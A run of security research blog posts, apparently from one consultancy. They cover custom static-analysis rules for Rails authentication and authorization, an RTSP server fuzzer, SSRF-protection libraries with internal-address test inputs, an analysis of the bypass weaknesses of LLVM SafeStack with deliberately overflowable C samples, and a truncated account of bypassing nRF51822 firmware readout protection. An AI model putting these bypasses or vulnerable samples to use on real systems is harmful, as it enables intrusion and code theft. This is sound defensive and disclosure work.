Recently we did a bit of a comparison example of two open source static analysis tools to automate detection of suspicious or vulnerable code patterns identified during assessments. In this post we discuss the experience of using Semgrep and Brakeman to create the same custom rule within each tool for a client’s Ruby on Rails assessment our team was assessing. We’re also very interested in trying out GitHub’s CodeQL, but unfortunately the Ruby support is still in development so that will have to wait for another time.

Semgrep is a pattern-matching tool that is semantically-aware and works with several languages (currently its Ruby support is marked as beta, so it is likely not at full maturity yet). Brakeman is a long-lived Rails-specific static-analysis tool, familiar to most who have worked with Rails security. Going in, I had no experience writing custom rules for either one.

This blog post is specifically about writing custom rules for code patterns that are particular to the project I’m assessing. First though I want to mention that both tools have some pre-built general rules for use with most Ruby/Rails projects — Brakeman has a fantastic set of built-in rules for Rails projects that has proven very useful on assessments (just make sure the developers of the project haven’t disabled rules in config/brakeman.yml, and yes we have seen developers do this to make SAST warnings go away!). Semgrep has an online registry of user-submitted rules for Ruby that is also handy (especially as examples for writing your own rules), but the current rule set for Ruby is not quite as extensive as Brakeman. In Brakeman the rules are known as “checks”, for consistency we’ll use the term “rules” for both tools, but you the reader can just keep that fact in mind.

First custom rule: Verification of authenticated functionality

I chose a simple pattern for the first rule I wanted to make, mainly to familiarize myself with the process of creating rules in both Semgrep and Brakeman. The application had controllers that handle non-API routes. These controllers enforced authentication by adding a before filter: before_action :login_required. Often in Rails projects, this line is included in a base controller class, then skipped when authentication isn’t required using skip_before_filter. This was not the case in the webapp I was looking at — the before filter was manually set in every single controller that needed authentication, which seemed error-prone as an overall architectural pattern, but alas it is the current state of the code base.

I wanted to get a list of any non-API controllers that lack this callback so I can ensure no functionality is unintentionally exposed without authentication. API routes handled authentication in a different way so consideration for them was not a priority for this first rule.

Semgrep

I went to the Semgrep website and found that Semgrep has a nice interactive tutorial, which walks you through building custom rules. I found it to be incredibly simple and powerful — after finishing the tutorial in about 20 minutes I thought I had all the knowledge I needed to make the rules I wanted. Although the site also has an online IDE for quick iteration I opted to develop locally, as the online IDE would require submitting our client’s code to a 3rd party which we obviously can’t do for security and liability reasons. The rule would eventually have to be run against the entire codebase anyways.

I encountered a few challenges when writing the rule:

• It’s a little tricky to find things that do not match a pattern (e.g. lack of a login_required filter). You can’t just search all files for ones that don’t match, you have to have a pattern that it does search for, then exclude the cases matching your negative pattern. I was running into a bug here that made it even harder but the Semgrep team fixed it when we gave them a heads up!
• Matching only classes derived from ApplicationController was difficult because Semgrep doesn’t currently trace base classes recursively, so any that were more than one level removed from ApplicationController would be excluded (for example, if there was a class DerivedController < ApplicationController, it wouldn’t match SecondLevelDerivedController < DerivedController.) The Semgrep team gave me a tip about using a metavariable regex to filter for classes ending in “Controller” which worked for this situation and added no false positives.

My final custom rule for Semgrep follows:

rules:
- id: controller-without-authn
  patterns:
  - pattern: |
      class $CLASS
        ...
      end
  - pattern-not: |
      class $CLASS
        ...
        before_action ..., :login_required, ...
        ...
      end
  - metavariable-regex:
      metavariable: '$CLASS'
      regex: '.*Controller'  
  message: |
  $CLASS does not use the login_required filter.
  severity: WARNING
  languages:
  - ruby

I ran the rule using the following command: semgrep --config=../../../semgrep/ | grep "does not use"

The final grep is necessary because Semgrep will print the matched patterns which, in this case, were the entire classes. There’s currently no option in Semgrep to show only a list of matching files without the actual matched patterns themselves. That made it difficult to see the list of affected controllers, so I used grep on the output to filter the patterns out. This rule resulted in 47 identified controllers. Creating this rule originally took about two hours including going through the tutorial and debugging the issues I ran into but now that the issues are fixed I expect it would take less time in future iterations.

Overall I think the rule is pretty self-explanatory — it finds all files that define a class then excludes the ones that have a login_required before filter. Check out the semgrep tutorial lessons if you’re unsure.

Brakeman

Brakeman has a wiki page which describes custom rule building, but it doesn’t have a lot of detail about what functionality is available to you. It gives examples of finding particular method calls and whether user input finds their ways into these calls. There’s no example of finding controllers.

The page didn’t give any more about what I wanted to do so I headed off to Brakeman’s folder of built-in rules in GitHub to see if there are any examples of something similar there. There is a CheckSkipBeforeFilter rule which is very similar to what I want — it checks whether the login_required callback is skipped with skip_before_filter. As mentioned, the app isn’t implemented that way, but it showed me how to iterate controllers and check before filters.

This got me most of the way there but I also needed to skip API controllers for this particular app’s architecture. After about an hour of tinkering and looking through Brakeman controller tracker code I had the following rule:

require 'brakeman/checks/base_check'

class Brakeman::CheckControllerWithoutAuthn < Brakeman::BaseCheck
  Brakeman::Checks.add self

  @description = "Checks for a controller without authN"

  def run_check
  controllers = tracker.controllers.select do |_name, controller|
      not check_filters controller
  end
  Hash[controllers].each do |name, controller|
    warn  :controller => name,
          :warning_type => "No authN",
          :warning_code => :basic_auth_password,
          :message => "No authentication for controller",
          :confidence => :high,
          :file => controller.file
  end
  end

# Check whether a non-api controller has a :login_required before_filter
  def check_filters controller
  return true if controller.parent.to_s.include? "ApiController"
  controller.before_filters.each do |filter|
      next unless call? filter
      next unless filter.first_arg.value == :login_required
      return true
  end
  return false
  end
end

Running it with brakeman --add-checks-path ../brakeman --enable ControllerWithoutAuthn -t ControllerWithoutAuthn resulted in 43 controllers without authentication — 4 fewer than Semgrep flagged.

Taking a close look at the controllers that Semgrep flagged and Brakeman did not, I realized the app is importing shared functionality from another module, which included a login_required filter. Therefore, Semgrep had 4 false positives that Brakeman did not flag. Since Semgrep works on individual files I don’t believe there’s an easy way to prevent those ones from being flagged.

Second custom rule: Verification of correct and complete authorization across functionality

The next case I wanted assurance on was vertical authorization at the API layer. ApiControllers in the webapp have a method authorization_permissions() which is called at the top of each derived class with a hash table of function_name/permission pairs. This function saves the passed hash table into an instance variable. ApiControllers have a before filter that, when any method is invoked, will look up the permission associated with the called method in the hash table and ensure that the user has the correct permission before proceeding.

Manual review was required to determine whether any methods had incorrect privileges, as analysis tools can’t understand business logic, but they can find methods entirely lacking authorization control — that was my goal for these rules.

Semgrep

Despite being seemingly a more complex scenario, this was still pretty straightforward in Semgrep:

rules:
- id: method-without-authz
  patterns:
  - pattern: |
    class $CONTROLLER < ApiController
        ...
        def $FUNCTION
          ...
        end
    ...
    end
  - pattern-not: |
    class $CONTROLLER < ApiController
        ...
        authorization_permissions ... :$FUNCTION => ...
        ...
        def $FUNCTION
          ...
        end
    ...
    end
  message: |
  Detected api controller $CONTROLLER which does not check for authorization for the $FUNCTION method
  severity: WARNING
  languages:
  - ruby

It finds all methods on ApiControllers then excludes the ones that have some authorization applied. Semgrep found seven controllers with missing authorization checks.

Brakeman

I struggled to make this one in Brakeman at first, even thinking it might not be possible. The Brakeman team kindly guided me towards Collection#options which contains all method calls invoked at the class level excluding some common ones like before_filter. The following rule grabs all ApiControllers, looks through their options for the call to authorization_permissions, then checks whether each controller method has an entry in the authorization_permissions hash.

require 'brakeman/checks/base_check'

class Brakeman::CheckApicontrollerWithoutAuthz < Brakeman::BaseCheck
  Brakeman::Checks.add self

  @description = "Checks for an ApiController without authZ"

  def run_check

  # Find all api controllers
  api_controllers = tracker.controllers.select do |_name, controller|
      is_apicontroller controller
  end

  # Go through all methods on all ApiControllers
  # and find if they have any methods that are not in the authorization matrix
  Hash[api_controllers].each do |name, controller|
    perms = controller.options[:authorization_permissions].first.first_arg.to_s

    controller.each_method do |method_name, info|
      if not perms.include? ":#{method_name})"
        warn  :controller => name,
              :warning_type => "No authZ",
              :warning_code => :basic_auth_password,
              :message => "No authorization check for #{name}##{method_name}",
              :confidence => :high,
              :file => controller.file
      end
    end
  end
  end

  def is_apicontroller controller
  # Only care about controllers derived from ApiController
  return controller.parent.to_s.include? "ApiController"
  end

end

Using this rule Brakeman found the same seven controllers with missing authorization as Semgrep.

Conclusion

So who is the winner of this showdown? For Ruby, both tools are valuable, there is no definitive winner in our comparison when we’re specificially talking about custom rules. Currently I think Semgrep edges out Brakeman a bit for writing quick and dirty custom checks on assessments, as it’s faster to get going but it does have slightly more false positives in our limited comparison testing.

Semgrep rules are fairly intuitive to write and self explanatory; Brakeman requires additional understanding by looking into its source code to understand its architecture and also there is the need to use existing rules as a guide. After creating a few Brakeman rules it gets a lot easier, but the initial learning curve was a bit higher than other SAST tools. However, Brakeman has some sophisticated features that Semgrep does not, especially the user-input tracing functionality, that weren’t really shown in these examples. If some dangerous function is identified and you need to see if any user input gets to it (source/sink flow), that is a great Brakeman use case. Also, Brakeman’s default ruleset is great and I use them on every Rails test I do.

Ultimately Semgrep and Brakeman are both great tools with quirks and particular use-cases and deserve to be in your arsenal of SAST tooling. Enormous thanks to both Clint from the Semgrep team and Justin the creator of Brakeman for providing feedback on this post!

The post Custom Static Analysis Rules Showdown: Brakeman vs. Semgrep appeared first on Include Security Research Blog.

There are many ways software is tested for faults, some of those faults end up originating from exploitable memory corruption situations and are labeled vulnerabilities. One popular method used to identify these types of faults in software is runtime fuzzing.

When developing servers that implement an RFC defined protocol, dynamically mutating the inputs and messages sent to the server is a good strategy for fuzzing. The Mozilla security team has used fuzzing internally to great effect on their systems and applications over the years. One area that Mozilla wanted to see more open source work in was fuzzing of streaming media protocols, specifically RTSP.

Towards that goal IncludeSec is today releasing https://github.com/IncludeSecurity/RTSPhuzz. We’re also excited to announce the work of the initial development of the tool has been sponsored by the Mozilla Open Source Support (MOSS) awards program. RTSPhuzz is provided as free and open unsupported software for the greater good of the maintainers and authors of RTSP services — FOSS and COTS alike!

RTSPhuzz is based on the boofuzz framework, it and connects as a client to target RTSP servers and fuzzes RTSP messages or sequences of messages. In the rest of this post we’ll cover some of the important bits to know about it. If you have an RTSP server, go ahead and jump right into our repo and shoot us a note to say hi if it ends up being useful to you.

Existing Approaches

We are aware of two existing RTSP fuzzers, StreamFUZZ and RtspFuzzer.

RtspFuzzer uses the Peach fuzzing framework to fuzz RTSP responses, however it targets RTSP client implementations, whereas our fuzzer targets RTSP servers.

StreamFUZZ is a Python script that does not utilize a fuzzing framework. Similar to our fuzzer, it fuzzes different parts of RTSP messages and sends them to a server. However, it is more simplistic; it doesn’t fuzz as many messages or header fields as our fuzzer, it does not account for the types of the fields it fuzzes, and it does not keep track of sessions for fuzzing sequences of messages.

Approach to Fuzzer Creation

The general approach for RTSPhuzz was to first review the RTSP RFC carefully, then define each of the client-to-server message types as boofuzz messages. RTSP headers were then distributed among the boofuzz messages in such a way that each is mutated by the boofuzz engine in at least one message, and boofuzz messages are connected in a graph to reasonably simulate RTSP sessions. Header values and message bodies were given initial reasonable default values to allow successful fuzzing of later messages in a sequence of messages. Special processing is done for several headers so that they conform to the protocol when different parts of messages are being mutated. The boofuzz fuzzing framework gives us the advantage of being able to leverage its built-in mutations, logging, and web interface.

Using RTSPhuzz

You can grab the code from github. Then, specify the server host, server port, and RTSP path to a media file on the target server:

RTSPhuzz.py --host target.server.host --port 554 --path test/media/file.mp3

Once RTSPhuzz is started, the boofuzz framework will open the default web interface on localhost port 26000, and will record results locally in a boofuzz-results/ directory. The web interface can be re-opened for the database from a previous run with boofuzz’s boo tool:

boo open <run-*.db>

See the RTSPhuzz readme for more detailed options and ways to run RTSPhuzz, and boofuzz’s documentation for more information on boofuzz.

Open Source and Continued Development

This is RTSPhuzz’s initial release for open use by all. We encourage you to try it out and share ways to improve the tool. We will review and accept PRs, address bugs where we can, and also would love to hear any shout-outs for any bugs you find with this tool (@includesecurity).

The post Announcing RTSPhuzz — An RTSP Server Fuzzer appeared first on Include Security Research Blog.

One of the things that has always been important in IncludeSec’s progress as a company is finding the best talent for the task at hand. We decided early on that if the best Python hacker in the world was not in the US then we would go find that person and work with them! Or whatever technology the project at hand is; C, Go, Ruby, Scala, Java, etc.

As it turns out the best Python hackers (and many other technologies) might actually be in Argentina. We’re not the only ones that have noticed this. Immunity Security, IOActive Security, Gotham Digital Science, and many others have a notable presence in Argentina (The NY Times even wrote an article on how great the hackers are there!) We’ve worked with dozens of amazing Argentinian hackers over the last six years comprising ~30% of our team and we’ve also enjoyed the quality of the security conferences like EkoParty in Buenos Aires.

As a small thank you to the entire Argentinian hacker scene, we’re going to do a free training class on May 30/31st 2019 teaching advanced web hacking techniques. This training is oriented towards hackers earlier in their career who have already experienced the world of OWASP top 10 and are looking to take their hacking skills to the next level.

If that sounds like you, you’re living in Argentina, and can make it to Buenos Aires on May 30th & 31st then this might be an awesome opportunity for you!

Please fill out the application here if this is something that would be awesome for you. We’ll close the application on May 10th.
https://docs.google.com/forms/d/e/1FAIpQLScrjV8wei7h-AY_kW7QwXZkYPDvSQswzUy6BTT9zg8L_Xejxg/viewform?usp=sf_link

Gracias,

Erik Cabetas
Managing Partner

The post IncludeSec’s free training in Buenos Aries for our Argentine hacker friends. appeared first on Include Security Research Blog.

At Include Security, we believe that a reactive approach to security can fall short when it’s not backed by proactive roots. We see new offensive tools for pen-testing and vulnerability analysis being created and released all the time. In regards to SSRF vulnerabilities, we saw an opportunity to release code for developers to assist in protecting against these sorts of security issues. So we’re releasing a new set of language specific libraries to help developers effectively protect against SSRF issues. In this blog post, we’ll introduce the concept of SafeURL; with details about how it works, as well as how developers can use it, and our plans for rewarding those who find vulnerabilities in it!

Preface: Server Side Request Forgery

Server Side Request Forgery (SSRF) is a vulnerability that gives an attacker the ability to create requests from a vulnerable server. SSRF attacks are commonly used to target not only the host server itself, but also hosts on the internal network that would normally be inaccessible due to firewalls.
SSRF allows an attacker to:

• Scan and attack systems from the internal network that are not normally accessible
• Enumerate and attack services that are running on these hosts
• Exploit host-based authentication services

As is the case with many web application vulnerabilities, SSRF is possible because of a lack of user input validation. For example, a web application that accepts a URL input in order to go fetch that resource from the internet can be given a valid URL such as http://google.com
But the application may also accept URLs such as:

• http://localhost
• http://10.0.0.1
• file:///localhost/example.txt
• 127.0.0.1:22

When those kinds of inputs are not validated, attackers are able to access internal resources that are not intended to be public.

Our Proposed Solution

SafeURL is a library, originally conceptualized as “SafeCURL” by Jack Whitton (aka @fin1te), that protects against SSRF by validating each part of the URL against a white or black list before making the request. SafeURL can also be used to validate URLs. SafeURL intends to be a simple replacement for libcurl methods in PHP and Python as well as java.net.URLConnection in Scala.
The source for the libraries are available on our Github:

1. SafeURL for PHP – Primarily developed by @fin1te
2. SafeURL for Python – Ported by @nicolasrod
3. SafeURL for Scala – Ported by @saelo

Other Mitigation Techniques

Our approach is focused on protection on the application layer. Other techniques used by some Silicon Valley companies to combat SSRF include:

• Setting up wrappers for HTTP client calls which are forwarded to a single-purposed proxy that prevents it from talking to any internal hosts based on firewall rules as the HTTP requests are proxied
• At the application server layer, hijack all socket connections to ensure they meet a developer configured policy by enforcing iptables rules or more advanced interactions with the app server’s networking layer

Installation

PHP

SafeURL can be included in any PHP project by cloning the repository on our Github and importing it into your project.

Python

SafeURL can be used in Python apps by cloning the repository on our Github and importing it like this:

from safeurl import safeurl

Scala

To use SafeURL in Scala applications, clone the repository and store in the app/ folder of your Play application and import it.


import com.includesecurity.safeurl._

Usage

PHP

SafeURL is designed to be a drop-in replacement for the curl_exec() function in PHP. It can simply be replaced with SafeURL::execute() wrapped in a try {} catch {} block.

try {
    $url = "http://www.google.com";

    $curlHandle = curl_init();
    //Your usual cURL options
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (SafeURL)");

    //Execute using SafeURL
    $response = SafeURL::execute($url, $curlHandle);
} catch (Exception $e) {
    //URL wasn"t safe
}

Options such as white and black lists can be modified. For example:

$options = new Options();
$options->addToList("blacklist", "domain", "(.*)\.fin1te\.net");
$options->addToList("whitelist", "scheme", "ftp");

//This will now throw an InvalidDomainException
$response = SafeURL::execute("http://example.com", $curlHandle, $options);

//Whilst this will be allowed, and return the response
$response = SafeURL::execute("ftp://example.com", $curlHandle, $options);

Python

SafeURL serves as a replacement for PyCurl in Python.

try:
  su = safeurl.SafeURL()
  res = su.execute("https://example.com";)
except:
  print "Unexpected error:", sys.exc_info()

Example of modifying options:

try:
    sc = safeurl.SafeURL()

    opt = safeurl.Options()
    opt.clearList("whitelist")
    opt.clearList("blacklist")
    opt.setList("whitelist", [ 
    "google.com" , "youtube.com"], "domain")

    su.setOptions(opt)
    res = su.execute("http://www.youtube.com")
except:
    print "Unexpected error:", sys.exc_info()

Scala

SafeURL replaces the JVM Class URLConnection that is normally used in Scala.

try {
  val resp = SafeURL.fetch("http://google.com")
  val r = Await.result(resp, 500 millis)
} catch {
  //URL wasnt safe

Options:

SafeURL.defaultConfiguration.lists.ip.blacklist ::= "12.34.0.0/16"
SafeURL.defaultConfiguration.lists.domain.blacklist ::= "example.com"

Demo, Bug Bounty Contest, and Further Contributions

An important question to ask is: Is SafeURL really safe? Don’t take our word for it. Try to hack it yourself! We’re hosting live demo apps in each language for anyone to try and bypass SafeURL and perform a successful SSRF attack. On each site there is a file called key.txt on the server’s local filesystem with the following .htaccess policy:

<Files key.txt>
Order deny,allow
Deny from allow
Allow from 127.0.0.1

ErrorDocument 403 /oops.html
</Files>

If you can read the contents of the file through a flaw in SafeURL and tell us how you did it (patch plz?), we will contact you about your reward. As a thank you to the community, we’re going to reward up to one Bitcoin for any security issues. If you find a non-security bug in the source of any of our libraries, please contact us as well you’ll have our thanks and a shout-out.
The challenges are being hosted at the following URLs:
PHP: safeurl-php.excludesecurity.com
Python: safeurl-python.excludesecurity.com
Scala: safeurl-scala.excludesecurity.com

If you can contribute a Pull Request and port the SafeURL concept to other languages (such as Java, Ruby, C#, etc.) we could throw you you some Bitcoin as a thank you.

Good luck and thanks for helping us improve SafeURL!

The post Introducing: SafeURL – A set of SSRF Protection Libraries appeared first on Include Security Research Blog.

Introduction

In June 2015, a new memory corruption exploit mitigation named SafeStack was merged into the llvm development branch by Peter Collingbourne from Google and will be available with the upcoming 3.8 release. SafeStack was developed as part of the Code Pointer Integrity (CPI) project but is also available as stand-alone mitigation. We like to stay ahead of the curve on security, so this post aims to discuss the inner workings and the security benefits of SafeStack for consideration in future attacks and possible future improvements to the feature.

SafeStack in a Nutshell

SafeStack is a mitigation similar to (but potentially more powerful than) Stack Cookies. It tries to protect critical data on the stack by separating the native stack into two areas: A safe stack, which is used for control flow information as well as data that is only ever accessed in a safe way (as determined through static analysis). And an unsafe stack which is used for everything else that is stored on the stack. The two stacks are located in different memory regions in the process’s address space and thus prevent a buffer overflow on the unsafe stack from corrupting anything on the safe stack.

SafeStack promises a generally good protection against common stack based memory corruption attacks while introducing only a low performance overhead (around 0.1% on average according to the documentation) when implemented.

When SafeStack is enabled, the stack pointer register (esp/rsp on x86/x64 respectively) will be used for the safe stack while the unsafe stack is tracked by a thread-local variable. The unsafe stack is allocated during initialization of the binary by mmap’ing a region of readable and writable memory and preceding this region with a guard page, presumably to catch stack overflows in the unsafe stack region.

SafeStack is (currently) incompatible with Stack Cookies and disables them when it is used.

SafeStack is implemented as an llvm instrumentation pass, the main logic is implemented in lib/Transforms/Instrumentation/SafeStack.cpp. The instrumentation pass runs as one of the last steps before (native) code generation.

More technically: The instrumentation pass works by examining all “alloca” instructions in the intermediate representation (IR) of a function (clang first compiles the code into llvm’s intermediate representation and later, after various instrumentation/optimization passes, translates the IR into machine code). An “alloca” instruction allocates space on the stack for a local variable or array. The SafeStack instrumentation pass then traverses the list of instructions that make use of this variable and determines whether these accesses are safe or not. If any access is determined to be “unsafe” by the instrumentation pass, the “alloca” instruction is replaced by code that allocates space on the unsafe stack instead and the instructions using the variable are updated accordingly.

The IsSafeStackAlloc function is responsible for deciding whether a stack variable can ever be accessed in an “unsafe” way. The definition of “unsafe” is currently rather conservative: a variable is relocated to the unsafe stack in the following cases:

• a pointer to the variable is stored somewhere in memory
• an element of an array is accessed with a non-constant index (i.e. another variable)
• a variable sized array is accessed (with constant or non-constant index)
• a pointer to the variable is given to a function as argument

The SafeStack runtime support, which is responsible for allocating and initializing the unsafe stack, can be found here. As previously mentioned, the unsafe stack is just a regular mmap’ed region.

Exploring SafeStack: Implementation in Practice

Let’s now look at a very simple example to understand how SafeStack works under the hood. For my testing I compiled clang/llvm from source following this guide: http://clang.llvm.org/get_started.html

We’ll use the following C code snippet:

void function(char *str) {
    char buffer[16];
    strcpy(buffer, str);
}

Let’s start by looking at the generated assembly when no stack protection is used. For that we compile with “clang -O1 example.c” (optimization is enabled to reduce noise)

0000000000400580 <function>:
  400580:    48 83 ec 18            sub    rsp,0x18
  400584:    48 89 f8               mov    rax,rdi
  400587:    48 8d 3c 24            lea    rdi,[rsp]
  40058b:    48 89 c6               mov    rsi,rax
  40058e:    e8 bd fe ff ff         call   400450 <[email protected]>
  400593:    48 83 c4 18            add    rsp,0x18
  400597:    c3                     ret

Easy enough. The function allocates space on the stack for the buffer at 400580, then calls strcpy with a pointer to the buffer at 40058e. 

Now let’s look at the assembly code generated when using Stack Cookies. For that we need to use the -fstack-protector flag (available in gcc and clang): “clang -O1 -fstack-protector example.c”:

00000000004005f0 <function>:
  4005f0:    48 83 ec 18            sub    rsp,0x18
  4005f4:    48 89 f8               mov    rax,rdi
  4005f7:    64 48 8b 0c 25 28 00   mov    rcx,QWORD PTR fs:0x28
  4005fe:    00 00
  400600:    48 89 4c 24 10         mov    QWORD PTR [rsp+0x10],rcx
  400605:    48 8d 3c 24            lea    rdi,[rsp]
  400609:    48 89 c6               mov    rsi,rax
  40060c:    e8 9f fe ff ff         call   4004b0 <[email protected]>
  400611:    64 48 8b 04 25 28 00   mov    rax,QWORD PTR fs:0x28
  400618:    00 00
  40061a:    48 3b 44 24 10         cmp    rax,QWORD PTR [rsp+0x10]
  40061f:    75 05                  jne    400626 <function+0x36>
  400621:    48 83 c4 18            add    rsp,0x18
  400625:    c3                     ret
  400626:    e8 95 fe ff ff         call   4004c0 <[email protected]>

At 4005f7 the master cookie (the reference value of the cookie) is read from the Thread Control Block (TCB which is a per thread data structure provided by libc) and put on the stack, below the return address. Later, at 40061a,  that value is then compared with the value in the TCB before the function returns. If the two values do not match, __stack_chk_fail is called which terminates the process with a message similar to this one: “*** stack smashing detected ***: ./example terminated“.

Now we’ll enable SafeStack by using the -fsanitize=safe-stack flag: “clang -O1 -fsanitize=safe-stack example.c”:

0000000000410d70 <function>:
  410d70:   41 56                  push   r14
  410d72:   53                     push   rbx
  410d73:   50                     push   rax
  410d74:   48 89 f8               mov    rax,rdi
  410d77:   4c 8b 35 6a 92 20 00   mov    r14,QWORD PTR [rip+0x20926a]
  410d7e:   64 49 8b 1e            mov    rbx,QWORD PTR fs:[r14]
  410d82:   48 8d 7b f0            lea    rdi,[rbx-0x10]
  410d86:   64 49 89 3e            mov    QWORD PTR fs:[r14],rdi
  410d8a:   48 89 c6               mov    rsi,rax
  410d8d:   e8 be 00 ff ff         call   400e50 <[email protected]>
  410d92:   64 49 89 1e            mov    QWORD PTR fs:[r14],rbx
  410d96:   48 83 c4 08            add    rsp,0x8
  410d9a:   5b                     pop    rbx
  410d9b:   41 5e                  pop    r14
  410d9d:   c3                     ret

At 410d7e the current value of the unsafe stack pointer is retrieved from Thread Local Storage (TLS). Since each thread also has it’s own unsafe stack, the stack pointer for the unsafe stack gets stored as a thread local variable. Next, at 410d82, the program allocates space for our buffer on the unsafe thread and writes the new value back to the TLS (410d86). It then calls the strcpy function with a pointer into the unsafe stack. In the function epilog (410d92), the old value of the unsafe stack pointer is written back into TLS (Basically, these instruction do the equivalent of “sub rsp, x; … add rsp, x”, but for the unsafe stack) and the function returns.

If we compile our program with the “-fsanitize=safe-stack option” and an overflow occurs, the saved return address (on the safe stack) is unaffected and the program likely segfaults as it tries to write behind the unsafe stack into unmapped/unwritable memory.

Security Details: Stack Cookies vs. SafeStack

While Stack Cookies provide fairly good protection against stack corruption exploits, the security measure in general has a few weaknesses. In particular, bypasses are possible in at least the following scenarios:

• The vulnerability in code is a non-linear overflow/arbitrary relative write on the stack. In this case the cookie can simply be “skipped over”.
• Data (e.g. function pointers) further up the stack can be corrupted and are used before the function returns.
• The attacker has access to an information leak. Depending on the nature of the leak, the attacker can either leak the cookie from the stack directly or leak the master cookie. Once obtained, the attacker overflows the stack and overwrites the cookie again with the value obtained in the information leak.
• In the case of weak entropy. If not enough entropy is available during generation of the cookie value, an attacker may be able to calculate the correct cookie value.
• In the case of a forking service, the stack cookie value will stay the same for all child processes. This may make it possible to bruteforce the stack cookie value byte-by-byte, overwriting only a single byte of the cookie and observing whether the process crashes (wrong guess) or continues past the next return statement (correct guess). This would require at most 255 tries per unknown stack cookie byte.

It is important to note however, that most stack based overflows that are caused by functions operating on C strings (e.g. strcpy) are unexploitable when compiled with stack cookies enabled. As most stack cookie implementations usually force one of the bytes of the stack cookie to be a zero byte which makes string overwriting past that impossible with a C string (it’s still possible with a network buffer and raw memory copy though).

Possible Implementation bugs aside, SafeStack is, at least in theory, immune to all of these due to the separation of the memory regions.

However, what SafeStack (by design) does not protect against is corruption of data on the unsafe stack. Or, phrased differently, the security of SafeStack is based around the assumption that no critical data is stored on the unsafe stack.

Moreover, in contrast to Stack Cookies, SafeStack does not prevent the callee from corrupting data of the caller (more precisely, Stack Cookies prevent the caller from using the corrupted data after the callee returns). The following example demonstrates this:

void smash_me() {
    char buffer[16];
    gets(buffer);
}

int main() {
    char buffer[16];
    memset(buffer, 0, sizeof(buffer));
    smash_me();
    puts(buffer);
    return 0;
}

Compiling this code with “-fsanitize=safe-stack” and supplying more than 16 bytes as input will overflow into the buffer of main() and corrupt its content. In contrast, when compiled with “-fstack-protector”, the overflow will be detected and the process terminated before main() uses the corrupted buffer.
This weakness could be (partially) addressed by using Stack Cookies in addition to SafeStack. In this scenario, the master cookie could even be stored on the safe stack and regenerated for every function call (or chain of function calls). This would further protect against some of the weaknesses of plain Stack Cookies as described above.

The lack of unsafe stack protections combined with the conservativeness of the current definition of “unsafe” in the implementation potentially provides an attacker with enough critical data on the unsafe stack to compromise the application. As an example, we’ll devise a, more or less, realistic piece of code that will result in the (security critical) variable ‘pl’ being placed on the unsafe stack, above ‘buffer’ (Although it seems that enabling optimization during compilation causes less variables to be placed on the unsafe stack):

void determine_privilege_level(int *pl) {
    // dummy function
    *pl = 0x42;
}

int main() {
    int pl;
    char buffer[16];
    determine_privilege_level(&pl);
    gets(buffer);             // This can overflow and corrupt 'pl'
    printf("privilege level: %xn", pl);
    return 0;
}

This “data-only” attack is possible due to the fact that the current implementation never recurses into called functions but rather considers (most) function arguments as unsafe.

The risk of corrupting critical data on the unsafe stack can however be greatly decreased through improved static analysis, variable reordering, and, as mentioned above, by protecting the callee’s unsafe stack frame.

It should also be noted that the current implementation does not protect the safe stack in any other way besides system level ASLR. This means that an information leak combined with an arbitrary write primitive will still allow an attacker to overwrite the return address (or other data) on the safe stack. See the comment at the top of the runtime support implementation for more information. Finally we should mention there has been an academic study that points out some additional detail regarding CPI.

Conclusion

With the exceptions noted above, SafeStack’s implemented security measures are a superset of those of Stack Cookies, allowing it to prevent exploitation of stack based vulnerabilities in many scenarios. This combined with the low performance overhead could make SafeStack a good choice during compilation in the future.

SafeStack is still in its early stages, but it looks to be a very promising new addition to a developer’s arsenal of compiler provided exploit mitigations. We wouldn’t call it the end-all of buffer overflows, but it’s a significant hurdle for attackers to overcome.

The post Strengths and Weaknesses of LLVM’s SafeStack Buffer Overflow Protection appeared first on Include Security Research Blog.

One of the first major goals when reversing a new piece of hardware is getting a copy of the firmware. Once you have access to the firmware, you can reverse engineer it by disassembling the machine code.

Sometimes you can get access to the firmware without touching the hardware, by downloading a firmware update file for example. More often, you need to interact with the chip where the firmware is stored. If the chip has a debug port that is accessible, it may allow you to read the firmware through that interface. However, most modern chips have security features that when enabled, prevent firmware from being read through the debugging interface. In these situations, you may have to resort to decapping the chip, or introducing glitches into the hardware logic by manipulating inputs such as power or clock sources and leveraging the resulting behavior to successfully bypass these security implementations.

This blog post is a discussion of a new technique that we’ve created to dump the firmware stored on a particular Bluetooth system-on-chip (SoC), and how we bypassed that chip’s security features to do so by only using the debugging interface of the chip. We believe this technique is a vulnerability in the code protection features of this SoC and as such have notified the IC vendor prior to publication of this blog post.

The SoC

The SoC in question is a Nordic Semiconductor nRF51822. The nRF51822 is a popular Bluetooth SoC with an ARM Cortex-M0 CPU core and built-in Bluetooth hardware. The chip’s manual is available here.

Chip security features that prevent code readout vary in implementation among the many microcontrollers and SoCs available from various manufacturers, even among those that use the same ARM cores. The nRF51822’s code protection allows the developer to prevent the debugging interface from being able to read either all of code and memory (flash and RAM) sections, or a just a subsection of these areas. Additionally, some chips have options to prevent debugger access entirely. The nRF51822 doesn’t provide such a feature to developers; it just disables memory accesses through the debugging interface.

The nRF51822 has a serial wire debug (SWD) interface, a two-wire (in addition to ground) debugging interface available on many ARM chips. Many readers may be familiar with JTAG as a physical interface that often provides access to hardware and software debugging features of chips. Some ARM cores support a debugging protocol that works over the JTAG physical interface; SWD is a different physical interface that can be used to access the same software debugging features of a chip that ARM JTAG does. OpenOCD is an open source tool that can be used to access the SWD port.

This document contains a pinout diagram of the nRF51822. Luckily the hardware target we were analyzing has test points connected to the SWDIO and SWDCLK chip pins with PCB traces that were easy to follow. By connecting to these test points with a SWD adapter, we can use OpenOCD to access the chip via SWD. There are many debug adapters supported by OpenOCD, some of which support SWD.

Exploring the Debugger Access

Once OpenOCD is connected to the target, we can run debugging commands, and read/write some ARM registers, however we are prevented from reading out the code section. In the example below, we connect to the target with OpenOCD and attempt to read memory sections from the target chip. We proceed to reset the processor and read from the address 0x00000000 and the address that we determine is in the program counter (pc) register (0x000114cc), however nothing but zeros is returned. Of course we know there is code there, but the code protection counter-measures are preventing us from accessing it:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> mdw 0x00000000
0x00000000: 00000000
> mdw 0x000114cc 10
0x000114cc: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x000114ec: 00000000 00000000

We can however read and write CPU registers, including the program counter (pc), and we can single-step through instructions (we just don’t know what instructions, since we can’t read them):

> reg r0 0x12345678
r0 (/32): 0x12345678
> step
target state: halted
target halted due to single-step, current mode: Thread 
